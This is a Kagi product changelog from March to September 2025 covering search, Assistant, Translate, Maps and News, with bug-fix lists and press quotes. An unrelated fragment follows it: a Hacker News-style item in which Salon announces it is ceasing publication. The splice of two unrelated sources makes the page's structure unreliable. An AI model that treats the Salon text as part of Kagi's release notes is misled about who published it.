Follow us on your preferred social media platform and tag us with your feedback!

Kagi around the web

  • David Pierce of The Verge described Kagi News as "simple, straightforward, super useful."
  • Watch Cory Doctorow talk about the journey to finding a "magical" search experience with Kagi on the inaugural episode of The Honest Broker video interview series. You can also catch him talking about Kagi on Adam Conover’s podcast.
  • Listen to our founder Vlad on Monocle Radio announce Kagi's upcoming SlopStop initiative to help combat AI slop on the web (min 19:26) .
  • Kagi News also had a shout out on MacSparky: "If you want to stay informed without the doomscrolling, Kagi News is worth trying."
  • We enjoyed reading this comprehensive post about Kagi News by Esor Huang. Read with Kagi Translate.
  • After two years with Kagi, Michael Peter shares his positive experience and reflects on upgrading to the Ultimate plan: "I’m surprised I didn’t do it sooner. The AI assistant is really good and fits perfectly into my browser workflow."

Industry news

Community creations

The creativity of the Kagi community amazes us as always! Thanks to Remy Wang, you can now read Kagi News on Playdate :

Kagi art

With Kagi, you're always the customer. Never the product.
Two-panel comic: Top panel shows a search engine choosing between shelves of boxed users, saying 'Can't wait to use this.' Bottom panel shows a person choosing between boxed search engines with various prices from Kagi, saying 'Can't wait to use this.'

Sept 30th, 2025 - Kagi News #

Announcing Kagi News!

Today we’re officially introducing Kagi News: a once-a-day press review that cuts through the noise. Global stories, community-curated sources, and zero tracking. News the way it should be.

What can I do with it?

  • Get a thoughtful daily press review , tailored to your interests and reading pace
  • Explore up to 12 key stories per category — choose global news, local coverage, or both
  • Dive into international perspectives from major global outlets
  • Or focus on local news from a specific country, with content curated from its national press
  • Read any article in your preferred language with built-in translation
  • See every story structured clearly : Summary, Highlights, Key Quotes, Timeline, Context, and Impact
  • Tap once to access the original source
  • Help shape the feed by contributing trusted outlets to the community-curated platform

How It Works

Every day at 12:00 KT (Kagi time), we deliver a fresh press review based on your preferences.

Two iPhones displaying articles. The left one has no images. The right one shows images.

Two hands holding an open Android foldable phone displaying articles.

Built on Values You Can Trust

✨ No surveillance, ads, or trackers
🌍 Open-source curation by the Kagi community
🧠 Designed to empower you, not exploit your habits

Download it now on

App Store : https://apps.apple.com/app/kagi-news/id6748314243
Play Store : https://play.google.com/store/apps/details?id=com.kagi.news
Web : https://kite.kagi.com/

We'd love to hear your feedback on https://kagifeedback.org

Improvements and bug fixes

Kagi Search

Kagi Assistant

We've added several new flagship models to the Kagi Assistant.

Kagi Translate

  • Add standard/best toggle to Dictionary page
  • Stroke count for Chinese characters are incorrect @andelink

Kagi on Socials

Here is this week's featured social media mention :

Follow us on your preferred social media platform and tag us with your feedback!

Sept 18th, 2025 - Releasing Ask, a round of product polish, and translation upgrades #

Kagi Search

Kagi Maps

Kagi Assistant

Kagi Translate

Ask - bash script for quick AI queries in the shell

We open-sourced ask , a lightweight (about 200 lines) shell script for interacting with LLMs through OpenRouterAPI (in the future Kagi Assistant API).

Example usage:

ask command to find files larger than 100mb

# Output: find . -type f -size +100M
ask ffmpeg command to convert mp4 to gif

# Output: ffmpeg -i input.mp4 -vf "fps=10,scale=320:-1:flags=lanczos" output.gif

Check it out here .

Kagi Specials

We're excited to introduce Kagi Specials , where we spotlight privacy-first companies that share our values: no surveillance, no ads, no data selling, and providing special offers on these services for Kagi members.

Our first featured special is Ente ! It's an end-to-end encrypted photo and video storage service that ensures only you can access your memories.

Ente's mascot, a yellow duck, wearing a green cap with Ente's logo on it while smiling. Next to it is Doggo, Kagi's cartoon dog mascot, sitting happily with a tennis ball by its side. The background shows a bright blue sky with fluffy white clouds.

For users who value privacy, Ente is a perfect complement to Kagi, and Kagi members will get 25% off for the first 12 months. Read more about this initiative and keep an eye open for upcoming specials!

Kagi on Socials

Here is this week's featured social media mention :

A screenshot of two posts on Bluesky about Kagi search. The first post by TapGhoul (@tapghoul.dev) says: “Been using Kagi now for a while. Pretty much the same as strasz here — it’s made search usable. Even without blocking domains and such, it’s incredible how good a search engine can be when your eyeballs aren’t the product.” The second post by strasz (@strasz.bsky.social) says: “i love kagi — totally made search usable again. the ability to block domains owns, too. just great stuff.”

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

Industry news:

Illustration of Kagi's mascot, a cartoon dog with a white body and black nose and ears, reading a newspaper.

September 4th, 2025 - Kagi Summarize goes mobile, Kagi Assistant adds source attribution and study mode #

Announcing proportional source attribution in AI answers

We built technology that provides proportional content attribution in AI answers.

Reference links, each accompained by a percentage value of their contribution to the final answer

This helps you understand the importance of each source in forming the final answer.

More importantly, this technology paves the way down the road for Kagi to share profits with publishers participating in our AI answers. This would happen automatically for all websites, with no deals, no contracts needed.

Try it Kagi Assistant now.

Announcing Kagi Summarize for mobile

We're launching the Kagi Summarize mobile app for iOS and Android !

What can I do with it?

  • Save time by reading long articles and getting straight to the point
  • Reorganize an article’s structure into key takeaways
  • Native integrations into share flows on mobile
  • Multilingual article transformation to your preferred language

Download it now on

We'd love to hear your feedback !

Demo:

Study mode in Assistant

We're introducing our take on study mode : a Kagi Custom Assistant designed to guide your learning journey through active discovery. Using Socratic method, evidence-based learning techniques, and collaborative exploration, it helps you uncover answers rather than simply providing them.

Please note that the Kagi Study Custom Assistant is available only on the Ultimate plan, as it relies on premium models.

Kagi Search

Kagi Assistant

Kagi Maps

Kagi Translate

  • Dictionary mode with settings for context/definition details/synonyms
  • Dictionary popup during Translation, when selecting part of the input/output text (Kagi subscribers only)
  • Localization for Hebrew & Arabic (RTL)
  • Language-specific features in dictionary for Hebrew
  • Experimental Translation Context memory feature (Kagi subscribers only)
  • Settings/history sync across devices for logged-in users.
  • Validation failed when using custom settings for proofreading @Sominemo
  • Dark mode getting mixed with light mode under specific circumstances @nfd

Kagi in Japan

We're honored to join the Shibuya Startups program and community in Japan! 🇯🇵

This exciting opportunity came about through meeting Shiho Watabe, the startup hub manager, during our recent Japan visit . We were immediately drawn to their vision of supporting bold, boundary-pushing ideas from the heart of Tokyo's creative scene.

Japan has already become our second highest source of traffic through organic growth, thanks largely to Kagi Translate , and we see tremendous potential to deepen our presence there. Being part of this program opens doors to bring Kagi directly to Shibuya's libraries and schools.

alt="Slide with bold text ‘Thank you, Shibuya Startups!’ beside the Kagi logo on a large yellow semicircle. A cartoon version of the iconic Hachiko Statue stands on a gray podium while Doggo, Kagi's cartoon dog mascot, sits in front of it next to a tennis ball."

Kagi on Socials

Here is this week's featured social media mention :

A screenshot from Mastodon user Sebastian which reads: Just subscribed to a plan from #Kagi @kagihq. Wow, I forgot how satisfying searching for something on the web can be when you don’t get AI or (AI-written) content farms pushed into your search results. You can configure almost everything about your search experience, including modifying the ranking to prefer sites that have high-quality human-written content.

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

Tech corner

Our colleague Jacob does a deep dive into how we optimized Kagi Assistant to load twice as fast.

How search engines should work

In collaboration with artist Chaz Hutton , we've illustrated what search should be: Zero ads. Zero tracking. Just the results you're looking for.

Comic comparing current search engines vs. ideal search: Top panel shows person seeking 'the thing' being bombarded with ads and irrelevant results from multiple figures holding signs. Bottom panel shows clean interaction where person asks for 'the thing' and receives exactly what they wanted.

August 19th, 2025 - Midsummer patch notes #

Kagi Search

Kagi Assistant

We've improved how you can organise your threads with tags. Here's a summary:

Plus,

Kagi Translate

Kagi Maps

Kagi on Socials

Here is this week's featured social media mention :

The tale of two search engines. Google, which uses its crappy AI to give a confidently wrong answer on every search. Or @kagihq which a) is confident enough to tell you if it doesn't know, and b) only uses AI if you end a query with a question-mark. Guess which search engine I use. Below the text are two side-by-side search-result images: the left shows a Google result that displays a specific payday date (highlighting Wednesday, July… as the payday), while the right shows a Kagi Quick Answer stating it cannot provide the exact payday, explains pay frequency can vary, and recommends checking an employment agreement or payroll department with links to references.

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

  • Lee Hutchinson wrote a great in-depth piece on Ars Technica about making the switch to Kagi.
  • Orion gets a prominent shout out by designer Juxtopposed for its wide range of customization options and unique features.
  • Our CEO Vlad was interviewed on an episode of the Intelligent Machines podcast with Leo Laporte, Jeff Jarvis and Paris Martineau.
  • Sedat Kapanoğlu wrote about "good people doing good things", using Kagi as an example of a service whose incentives are aligned with its users.
  • Writer Dave Pollard mentions Kagi in an article about the internet’s "tragedy of the commons," using it as an example of a functioning digital commons.
  • Listen to Vlad on the Mac Power Users podcast with David Sparks and Stephen Hackett talk about what Kagi offers its customers and its role as a powerful alternative to products offered by tech giants.

From the Blog

Free search isn’t actually free. You’re just paying with something else. Read why paying for search is worth every penny.

Industry News

The true cost of "free" ad‑supported search isn't mere annoyance, it's also real loss of money and time. A CBS Chicago segment shows how scam ads are flooding results and hurting users. That's why Kagi is and will always remain ad‑free.

July 31st, 2025 - Kagi Assistant gets tags, bulk actions, and much more #

Kagi Assistant

This week's release brings several big updates to Kagi Assistant, laying the groundwork to exciting new chapters ahead.

Introducing tags
Tags let you organise your Kagi Assistant threads. Each thread can have multiple tags.

  • You can use the Temporary tag to mark any thread as temporary, and it will auto-delete 24h after its last update.
  • If you use Kagi Assistant in 24h mode, all new threads will be tagged as Temporary by default. When you remove the Temporary tag, that thread will be saved.
  • When you create a thread while viewing a specific tag, the new thread will automatically inherit that tag.
  • Threads without a custom tag, such as all your currently saved threads, appear in the All folder.

Learn more on our help page .

Bulk managing threads
We've also made thread management easier: select multiple threads and either tag them or delete them permanently.
[upl-image-preview url= https://kagifeedback.org/assets/files/2025-07-31/1753986178-528658-image.png ]

Model picker
The model picker now features a curated set of base models that we believe deliver the strongest performance, helping you choose the best option for your specific task. We continuously update this list using our own in-house benchmarking .
image

Define your default Assistant
You can now define your default Kagi Assistant model , as either one of your Custom Assistants, a base model or the last used model. Every new thread you create will start with that default model.

Removal of context windows limits
Kagi Assistant no longer enforces context window limits . We include all available information, and if we reach the model’s maximum size, we carry forward relevant context so it remains available for your next instructions.

Plus many other fixes and improvements

Kagi Search

As we gear up for important updates, this release brings a round of improvements and bug fixes,

Kagi Maps

  • More precise results when interacting with map POIs
  • Merging of information from multiple sources in search results

Fixes and improvements:

Kagi Android app

Our latest release introduces several quality-of-life improvements, including

  • Added a Kagi Assistant button right in the native search screen: faster access, less tapping #7166 @COValhalla
  • Fixed: tapping 'x' no longer clears your bottom search bar #7677 @yk

Kagi on Socials

Here is this week's featured social media mention :

Screenshot 2025-07-16 at 7.22.11 PM

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

  • Kagi was featured on a list of "Smarter Search Engines to Try in 2025" by PC Mag:

"Good for research, it offers outstanding control over your results, including letting you favor specified domains over others."

  • French tech site Clubic featured an interview with Vlad about 7 reasons to try Orion. Read with Kagi Translate here.
  • Cory Doctorow gave Kagi another shout out in a post about Google's declining quality and spam results:

"It's been more than a year since I gave up on Google Search (I switched to Kagi.com and never looked back). I don't miss it."

July 11th, 2025 - New News Homepage #

Kagi Search

Our redesigned News homepage is now live. You'll find top stories and selected categories featured prominently, so you can quickly access the news that matters most. Updated once per day, spend less time scrolling and more time staying informed. We plan to launch mobile native News experience soon.

Let us know how you like it!

We are still rapidly iterating on the quality of this content & welcome your feedback!

Kagi Assistant

We've added model info boxes that highlight each model’s strengths with scores from the Kagi LLM benchmark , so you can pick the best fit for your task without wading through docs. For more in-depth information, see the full details here .

Kagi Android app

New homescreen widgets for Kagi Assistant, Translate, and Summarizer -- access in one tap. Plus: smoother performance, cleaner experience, and fixes for the little things. Enjoy!

Kagi Translate

  • Grammatical Gender, notes, usage over time added to Dictionary
  • Navigate to text mode when clicking on a translation history element
  • Improved UI on mobile
  • More consistent font across devices
  • Do not show "Alternatives" title when there are none
  • Improved language auto-detection
  • Kagi Translate shows stop token in translation #7448 @phagi
  • Proofreading mode is broken with dark theme, scrolling to text near header is janky @MomentumBuffet

Kagi on Socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

  • In one of the latest episodes of the Behavioral Science for Brands Podcast, Rory Sutherland discusses how Kagi stands out by prioritizing user interests over advertisers - highlighting what happens when search engines put advertisers first.
  • Jonathan Margolis interviewed our CEO Vlad in Air Mail magazine:

At last, a search engine that won’t collect your data and feed you ads.

  • Longtime Kagi user wrote a great guide on customizing Kagi Search with Lenses, Personalized Results / domain ranking to help you get the most out of your Kagi experience.
  • Kagi got a nice shout out on the Intelligent Machines podcast with Leo Laporte, Mike Elgan and Jeff Jarvis. An interview with Vlad will be on the show soon!

Industry News

June 27th, 2025 - Accessibility wins, regex bangs, relentless bug fixing #

Kagi Search

Accessibilty upgrades

Over the past few weeks, we've made many tweaks to improve accessibility of our settings pages for keyboard users, screen reader users, and users who have JavaScript disabled.

Advanced control for Bangs via Regex

We've added an optional "Regex" field to Custom Bangs for more precise control. Instead of $1 always being the first word and $2 the second, you can now define exactly how your query is split to create more powerful shortcuts.

For example, to create a custom translator for a query like !tr spanish live long and prosper , you can now separate the language from the text. In your Custom Bang settings, you would use:

  • Template: https://translate.kagi.com/?to=$1&text=$2
  • Regex: (\w+)\s+(.*)

This pattern tells the Bang to use the first word for $1 and the entire rest of the query for $2 . If you leave the Regex field blank, your Bangs will continue to work as they always have. We're excited to see what you build with this

Other bug fixes and improvements

Kagi Assistant

Kagi Translate

  • Proofreading mode improvements (statistics tab, apply/revert corrections, hover to find correction in text/list, all corrections now have explanations)
  • Added virtual keyboard for some alphabets
  • Language-specific tweaks for Russian, Estonian, Sami (All variants), Afrikaans and Cherokee.
  • Fix "Sorry, I cannot complete this request" censorship for some queries hyacinth
  • TTS using the wrong accent fbkagi rrmiguel
  • Enable output controls after text is processed, even if other features are not azdanov
  • Regression in RTL support kaguru
  • AM/PM vs 24H clock setting nichu42
  • TTS not playing on iOS if ringer is muted snowytrees
  • Translate is vulnerable to being prompt injected Colonial
  • Translation refuses to translate text that is censored in China JP Discord User/ Hanbyeol
  • Some symbols are escaped as HTML chars in translation UserOfOrion
  • Language detection thinks that [アラビア文字] arabic text instead of japanese JulianGro
  • Top bar in mobile Orion/Safari does not follow theme artem
  • Auto language switcher not working when pasting output text in source box Anonymous22
  • Korean locale tweaks Hanbyeol
  • Remove Sami dialects which are meaningless, only keep northern and sourthern variant Hanbyeol
  • Add login button redirecting to kagi.com on mobile kotaro
  • Language switch to Norwegian is broken #7510 @Temanor
  • Setting to have "Detect Language" as the default source language #7511 @Temanor
  • Translate screwing up HTML code for < and > symbols #7436 @carl
  • Translate makes up meanings for short/invalid words #7405 @Numerlor
  • Context Field in Kagi Translate Causing Internal Error #7543 @TusedayGhost /@cictao_85080
  • Translation quality is subpar while detecting the language of the text for the first time @cictao_85080

Kagi Android

Kagi Maps

Kagi on socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

Kagi for Libraries

With the Kagi for Libraries program, we'll offer free access to Kagi for public library patrons worldwide 📚

If your library is interested or you know a local public library that could benefit, encourage them to apply and help us expand this program.

June 9th, 2025 - Celebrating 50k customers #

More than 50,000 reasons we keep building

Today marks a special milestone in Kagi's history as we reach more than 50.000 paying subscribers. That’s not just a milestone, it’s 50.000 real humans who looked at the web, saw what we’re trying to do, and said, “yeah, I'm in.” That means everything to us.

As tradition demands, we’ve written a blog post packed with announcements and new stuff: read it here !

Thank you for believing in us. Here’s to the next 50k, we’re grateful to be building something that matters, with you! 🥂

Kagi Search

Kagi Assistant

Kagi Maps

June 2nd, 2025 - Kagi turns 3: past, present, and future #

3 years of Kagi!

We are extremely proud and happy to be celebrating three years of Kagi today!

Read everything about where we are as a company and where we want to go in Kagi status update: First three years blog post .

Improvements and Bug fixes

Kagi Search

Kagi Assistant

Since we introduced the Kagi Assistant to all subscriptions and began enforcing fair-use limits, users have requested better visibility on costs. In response, we have added the total token cost per month to the billing page .

Kagi Maps

We're happy to announce the launch of the (new) Kagi Maps. It's still early days, but we're working hard because maps are long overdue for a major upgrade. Our roadmap is packed with innovative ideas and, most importantly, interesting data to make local mapping meaningful again. Check out the alpha at kagi.com/maps . This is just the beginning.

Kagi Translate

Kagi on socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Podcast feature

On the latest Timetable podcast, Kagi CEO Vlad joins Manton Reece to discuss building a user-first, ad-free search engine, why the economics of search are broken, and how Kagi helps you discover hidden gems from the Small Web - the kind of sites you'd never find on mainstream, ad-driven engines. Listen here.

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

May 22nd, 2025 - Big in Japan #

Kagi Search

Kagi Assistant

Kagi Android app

Search from the Kagi widget is now WAY faster 🚀 Plus, we've squashed bugs and added some handy features:

Kagi Translate

  • Translation quality and speed improvements for best and standard modes
  • Word dictionary now shows synonyms
  • Proofreading mode, shows list of corrections with explanations, style and repetition analysis
  • Page height on mobile devices is too large, causes unwanted scrolling #7074
  • Custom CSS applying with setting disabled, system theme not respected on page load @electric_eel_maki
  • Preserve text while switching between modes @nichu42
  • Suggest to switch input language if selection doesn't match the detected one @vaartis
  • Pressing enter while in the language selector should pick the first option @bert
  • Add UK and US english as different options in the dropdown #7148 @Anonymous22
  • Ctrl+a selects all text on macOs #7095 @laiz
  • Kagi Translate refuses to translate NSFW text #7059 @ZK
  • Kagi Translate mobile layout is suboptimal #6878 @DeeKahy
  • Text overlapping on iOS/PWA #7045 @dartcircle

Kagi's Japan trip

A look into Kagi's trip to Tokyo, where we connected with the Kagi community, collaborated with local companies and potential partners, and enjoyed everything the city has to offer. A heartfelt thank you to everyone who met with us, shared meals, and made this experience unforgettable!
また次回お会いしましょう。

Or view on PeerTube here .

Kagi on Socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

  • German tech site Golem featured an article about Kagi being much more than just a Google alternative. Read with Kagi Translate.
  • French tech site Just Geek featured an article about Kagi's many features and how it might make you "forget Google." Read with Kagi Translate.
  • OMG Ubuntu covered Kagi's Orion Browser and its usage of GTK4/libadwaita for its Linux launch.
  • Kagi Assistant was mentioned on Computer World's "20 genuinely useful AI apps for Android" list :

Beyond basic queries, its $25-a-month Ultimate plan includes access to something called the Kagi Assistant, which lets you access the underlying intelligence from Gemini, ChatGPT, Claude, and other AI engines in a single streamlined spot and with the added advantage of complete privacy and custom filtering to help refine the results.

  • Liam Proven of The Register gives a shout out to Kagi in a piece about the enshittification of search:

Another option is to pay for your search engine. We've already mentioned Doctorow once, but his post about Kagi – a no-ads, no-tracking search engine with a tiered payment model – from a year ago makes interesting reading. The idea has gained traction with others, including Daring Fireball's John Gruber.

Kagi shout outs

  • Kagi is described as being best for "power users and professionals who want fast, curated, ad-free results" in a post by Maple Web Design.
  • Alan Jacobs shares a concise review of Kagi:

Google’s search results have become so bad that I recently subscribed to Kagi, and so far it’s been great.

  • Have a site or blog and want to have an easier way to search through its archives? This post outlines a good use of Lenses to make that easier.

A Lens will focus Kagi’s search on one or more (up to ten) particular sites, date ranges, regions, keywords, or file types. You can also exclude sites or subsites. Kagi has several default Lenses, and you can add your own customized Lenses:

  • Kagi is used as an example for why it's important to pay for what you love , and how it helps align the incentives between the user and the service provider:

In order for Kagi to make more money, they have to make search quality better. By adopting a subscription model, Kagi has fundamentally aligned the goal of the service with providing excellent search. This is why a subscription-based service is the most likely to keep its users satisfied over time, and why — if you care, and if you have the choice — you should choose to use a subscription-based service over other offerings.

  • Along those same lines, Liu Miao writes about how paying for search offers a different perspective on using the internet:

Indeed, our generation grew up with the internet, and search engines have been free since their inception. Why pay to use one? But looking at it from another angle, if search engines have been free for over twenty years, then who has been paying for me all this time?

And noting specifically about Kagi:

I hope to see more products like this in the future—products that treat users as users rather than as products.

Industry News

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

How search engines should feel

In collaboration with artist Chaz Hutton , this illustration captures how using a search engine should feel: straightforward and focused, guiding you directly to what you’re looking for.

May 6th, 2025 - Video search upgrades, enhanced Kagi Assistant experience and more #

Search

Video search upgrade

Video search now pulls from more sources and shows richer data:

And other bug fixes and improvements,

Kagi Assistant

This release packs important upgrades to make your experience smoother and more customisable:

  • Adjustable sidebars : on desktop, you can now resize both the primary and secondary sidebars to fit your workflow

  • Mobile revamp : we've upgraded the mobile experience for better usability and flow. Try it out and feel the difference

  • Lenses integration : you can now use your Lenses directly in the Kagi Assistant to further guide its search

This update is all about giving you more control and a better experience. Enjoy!

And other bug fixes and improvements,

Kagi Translate

  • Fast/Best quality toggle: select quick processing or maximum accuracy
  • Add english language varieties to list of supported languages JR
    . Automatically switch to/from language, when typing text from "to" language in the input field TomA
  • Swiss german/high german bobobo1618
  • Import translation history tauon
  • Separate setting to specify dictionary language Kurotsuchi
  • Voice selection for TTS frin
  • Support RTL languages in text fields kaguru
  • Clear dictionary definition after changing source language pim
  • Show voice gender in dropdown frin
  • Preload essential images Thibaultmol

Kagi on socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news

  • Digital Trends features an article about what makes Kagi worth paying for.
  • Frandroid, a popular French technology publication, published a piece about Kagi being an ideal alternative to Google. Read with Kagi Translate here.
  • Spider's Web, a prominent Polish tech site, wrote about the importance of a search engine like Kagi that puts users' interests ahead of ads and other incentives. The article also emphasizes Kagi's dedication to privacy and supporting the small web. Read with Kagi Translate here.
  • Tecnobits featured an article about how Kagi improves your search experience:

Everything you see on Kagi is there because it's useful, not because someone is behind it paying for clicks.

Kagi shout outs

  • Neel Dhanesha at the Nieman Lab published an article about Kagi highlighting its extensive features and the advantages of having full control over your search experience:

After testing Kagi both as my everyday search engine and as a research tool for a working journalist, I’ve been delighted to find that it’s the search engine equivalent of a Honda Civic: reliable, unobtrusive, and able to get you where you need to go.

Kagi gives me better results than Google, it lets me pay with money instead of my privacy, and it works great everywhere, even in Safari.

Paying for Kagi today feels a lot like paying for HBO back in the cable TV heyday. Part of the deal is that you are paying for ad-free service, yes. But you’re also paying for noticeably higher quality. [...] It’s that good. No ads, no unwanted AI (but very good AI results if you want — just end your query with a question mark), and better search results.

I totally think it's worth the money.

My inaugural experience using Kagi was eye-opening: on my first search I got a genuine blog post instead of yet another click-bait AI-generated article. Think about it for a second: when was the last time you got someone's personal blog at the top of your search?

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

Real cost of "free"

A few weeks ago, reporter Aaron Pressman described how "free" search engines come at an actual financial cost, sharing his journey that ultimately brought him to Kagi.

Artist Chaz Hutton helped us illustrate how a Kagi subscription can save you money in the long run by eliminating the many hidden costs associated with "free" search engines:

April 17, 2025 - Kagi Assistant rolls out to all Kagi users #

Announcements

Kagi Assistant is now open to all plans

We're happy to announce that Kagi Assistant is now available to everyone , across all subscription plans!

Check our announcement blog here .

To use Assistant, head to kagi.com/assistant .

⚠️ Note: We are enabling the Assistant for all plans in phases, based on regions starting with USA today. The full rollout is scheduled to be completed by Sunday, 23:59 UTC.

With this release, we are beginning to enforce our fair use policy to ensure a sustainable, high-quality service for everyone as we expand access. Basically our policy states that you can use AI models based on your plan's value. For example, a $25 monthly plan allows up to $25 worth of raw token cost across all models (there is a 20% built-in margin that we reserve for providing searches, development and infrastructure for the service). This impacts only a very small percentage of users with extremely high usage patterns and is a simple way to control usage, compared to arbitrary usage limits. Our goal is to ensure broad availability without users needing to worry about typical usage. Affected users can currently renew their cycle instantly, with more flexible credit top-ups planned soon.

We're very happy to offer Kagi Assistant as another optional tool to support your work and exploration online. Let us know what you think via our feedback forum or Discord ! Also see our documentation for Assistant .

Release notes

Search

Assistant

Translate

We've launched our brand-new UI and a bunch of new feature to make your translation experience exceptional! We are incredibly proud of the work on this product. Check out Kagi Translate .

Improvements and bug fixes:

  • Enhanced alternative translations now provide insight about the main translation
  • Dictionary entries can now appear in the input box
  • Added 81 languages to the supported list some-user Ademalhanolu
  • If you can't still find the language you are looking for, you can just type it in jvbf
  • Default Target Language option - your locale language will be automatically set as the default "translate to" language instead of it defaulting to the last one you used.
  • New website translation views - while translating a website, you can now view both the original and translated versions in a horizontal or vertical split. Drag your mouse in the middle to resize the iframes to your liking.
  • Audio download now available for translations peterfgalbraith
  • Can't type correctly using an IME ining
  • URL field not having same padding as language field RoxyRoxyRoxy
  • 1password trying to auto complete context field incorrectly frin
  • Corrections counter in proofreading mode batuhan
  • Setting to disable custom CSS (inspired by someoneiknow )
  • Pick what meaning from the dictionary entry to use for translation Kurotsuchi
  • Increase context max characters limit for Kagi Search subscribers Kurotsuchi
  • Translator: Kyrgyz shows up twice #6700 @Kel
  • There is 2 Detect language #6783 @batuhan
  • Kagi Translate language selection filter not working #6583 @psaints
  • 3 Norwegian options in Kagi translate #6685 @Temanor

Kagi on socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news

I resisted this one for a long time, but now that I’ve started using it I can’t go back. Google search is broken and Kagi works like magic.

  • City Magazine explores the future of search engines, discussing how paid models like Kagi could pave the path forward.
  • HubSpot's The Hustle highlights how Kagi offers a premium experience for users willing to pay for quality.
  • Kagi was featured on de Volkskrant , a Dutch newspaper, about what sets it apart as a search engine. Read with Kagi Translate here.
  • Ars Technica included a short statement from Kagi in an article about Apple being barred from testifying in Google's antitrust trial.
  • The Knowledge newsletter featured Kagi as a search alternative with advanced features that is worth exploring.

Kagi shout outs

As for me? I’ve voted with my wallet. I now use Kagi for search (and pay for it gladly)

I switched to Kagi from the enshittified Google search engine last year, and I’ll never go back. No ads, no sponsored links, no tracking your searches, no selling your data, no clutter.

  • Parth Shah tested 8 search engines, stating the following about Kagi:

Kagi was new to me before this study, but it stood out quickly. It’s a paid search engine with no ads at all. The results were accurate, useful, and easy to read. I also liked the clean layout. [...] Kagi quickly became my favorite.

Have a Kagi review you'd like to feature? Please share it and ping us on any of our various socials when you do!

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

Search smarter with Kagi

We partnered with artist Chaz Hutton on a graphic that illustrates how Kagi empowers you to search without the noise, trackers and distractions. Help us share it widely!

Tokyo, meet Kagi!


As noted previously, from April 21–25, Kagi’s team, including CEO Vlad, will be in Tokyo 🇯🇵 to meet companies and connect with the local community. If you are a local Kagi user, we'd love for you to join us for casual food&drinks! If interested, please contact Gillian at gillian@kagi.com to arrange.

March 21st, 2025 - Leveling up the Kagi Assistant experience, meet Kagi in Tokyo, and more... #

Next chapter in the Kagi Assistant experience

With this release, we're introducing a new sidebar , designed to streamline your workflow and keep everything you need within reach. This is just the beginning - the new sidebar lays the foundation for even more powerful features to come.

We're also rolling out Claude 3.7 Sonnet with extended thinking to tackle even more complex challenges.

As always, we’d love to hear your thoughts - join the conversation on Discord or share your feedback through our forum at https://kagifeedback.org

Kagi, lost in translation, in Tokyo!

From April 21 to 25, a dedicated team from Kagi including CEO, Vlad, will travel to Tokyo 🇯🇵 to meet with companies interested in our advanced translation solutions. If you are based in Japan and your company is interested, please get in touch with Gillian.

We'd also love to meet our local user community while we're there. If you're based in Tokyo, we'd love to organise a dinner and connect in person . Looking forward to great conversations and good food with fellow Kagi fans!

Please contact Gillian at gillian@kagi.com to arrange.

Jobs, jobs, jobs

We are looking for a Head of Business Development and a Technical Architect (basically CTO equivalent in Kagi world).

Head out to Kagi hiring to apply and check out other open positions.

Improvements and bug fixes

Search

Based on the community's feedback, we’ve added a setting to always hide AI-generated images by default (suggested by #5998 @keyboardJones ). You can enable it on Settings>Search>AI .

Kagi Assistant

Kagi Translate

  • Add token and other URL parameters to make it easier to use translate in private mode aminomancer
  • Fix translation of Catalan traditional time turly
  • IP URLs not being detected Hanbyeol
  • Inaccurate one-word translations nichu42 JW
  • Copied translation incorrectly removes line breaks LunarWatcher
  • Sync translation theme and language from Kagi Search frin
  • Add section in language picker for most commonly used languages Marcin
  • Fix some words being incorrectly identified as URLs nichu42
  • Add support for markdown goulot_situez
  • Clicking a link from a translated website doesn't redirect to translation of that page Rexios
  • Alternative translations getting cut off Peter
  • Page flashes in light mode theme for a second before turning dark nichu42
  • Source textarea steals focus while user is typing elsewhere tuesday
  • Selection of output text is unreliable on Firefox bkrein
  • Load alternative translations for user-selected text in the output box nichu42
  • Text alignment: When user hovers on input text, highlight the corrisponding part in the output RoxyRoxyRoxy

Orion browser release: smoother, smarter, and more secure

This week's Orion release brings big upgrades:

🔐 3rd party Password Managers & Adblock
We have updated support for uBlock Origin, 1Password, and Bitwarden extensions.

👓 User Interface
Several improvements concern vertical tabs, the sidebar, and favicons.

📺 Youtube and PiP
Several improvements enhance the use of Youtube and the Picture-in-Picture feature.

🪲 Crash fixes & Stability
Bye bye crashes on launch, instability if the browser stays open for a long time, and freezes.

For all the details, please refer to Orion's changelog .

Kagi on Socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

  • This TechCrunch article mentions Kagi as an option for users who prioritize not just a better search experience but also a more privacy-focused search.
  • OMG! Ubuntu covered Orion's expansion to Linux.
  • t3n, a German tech magazine, also featured Kagi , highlighting it as a privacy-friendly and ad-free alternative. Read with Kagi Translate here.

Kagi Community Reviews

We are deeply grateful to everyone who takes the time to share their experiences, tips, and feedback about Kagi, helping to spread the word and inspire others to discover its value. Here are some recent reviews to highlight:

Have a Kagi review you'd like to feature? Please share it and ping us on any of our various socials when you do!

The Kagi Way

We partnered with artist Chaz Hutton on a graphic that illustrates how Kagi empowers you to search without the noise, trackers and distractions. Help us share it widely!

Goodbye from Salon

Hacker News
www.salon.com
2026-11-05 15:03:29
Comments...
Original Article

It has been an extraordinary privilege.

Published

Today, after 31 years, we are saddened to announce that Salon is ceasing publication.

It’s difficult to find the right words for the end of something that has meant so much to so many people. Salon was never just a website. It was an idea about what journalism could be, born at a moment when the internet was still a largely unexplored frontier.

When Salon launched in November 1995, the web was a very different place. A small group of journalists set out to create something original: a publication with a strong voice, a curiosity about the world and a belief that the internet could bring journalism and readers together in new ways. They helped pioneer a form of journalism that would come to define an entirely new era of publishing.

